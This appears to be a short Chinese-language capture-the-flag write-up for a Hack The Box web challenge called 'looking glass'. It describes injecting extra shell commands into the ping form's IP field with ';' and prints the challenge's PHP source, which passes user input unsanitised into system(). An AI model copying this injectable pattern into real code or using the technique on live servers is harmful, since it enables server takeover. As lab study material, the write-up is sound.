hackthebox-changllenge-web-looking glass

能输入ip地址,试试看命令执行

尝试 &&  ; 拼接ls命令

;成功

cat 一下看看

<?php

function getUserIp()

{

    return $_SERVER['REMOTE_ADDR'];

}

function runTest($test, $ip_address)

{

    if ($test === 'ping')

    {

        system("ping -c4 ${ip_address}");

    }

    if ($test === 'traceroute')

    {

        system("traceroute ${ip_address}");

    }

}

?>

<!DOCTYPE html>

<html>

<head>

    <title>rce</title>

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">

</head>

<body>

    <nav class="navbar navbar-dark bg-primary mb-4">

        <span class="navbar-brand mb-0 h1">looking glass</span>

        <span class="text-white">IP: <?= getUserIp() ?></span>

    </nav>

    <div class="container" style="max-width:1430px !important;">

        <div class="card">

            <div class="card-body">

                <div class="card-text">

                    <p>This Looking Glass provides you with information relative to backbone routing and network efficiency, providing you with the same transparency that customers on our network receive directly.</p>

                    <p>Traceroute allows a user to follow a packet through the network to a specific destination. It shows the domain, IP address and the roundtrip packet times as it traces the route to the destination.</p>

                    <p>Ping can be used to show whether or not a device with a valid Internet address or domain name can return packets sent to it by a specified server.</p>

                </div>

                <form method="POST">

                    <div class="input-group">

                        <select class="form-control" name="test">

                            <option value="ping">Ping</option>

                            <option value="traceroute">Traceroute</option>

                        </select>

                        <select class="form-control">

                            <option selected>Server 01</option>

                        </select>

                        <input type="text" name="ip_address" class="form-control" value="<?= getUserIp() ?>">

                        <div class="input-group-append">

                            <input type="submit" name="submit" class="btn btn-primary" value="Test">

                        </div>

                    </div>

                    <?php if (!empty($_POST['ip_address']) && !empty($_POST['test'])): ?>

                        <textarea contentEditable="true" class="form-control mt-2 disabled" style="resize:none;height:300px;" readonly><?= runTest($_POST['test'], $_POST['ip_address']); ?>

没有flag,标题是rce,所以应该是要获取服务器权限。

命令执行怎么获取服务器权限呢?百度一波

或者不用?先列出根目录的文件看看?

ok!

猜你喜欢

转载自blog.csdn.net/qq_43200143/article/details/110968690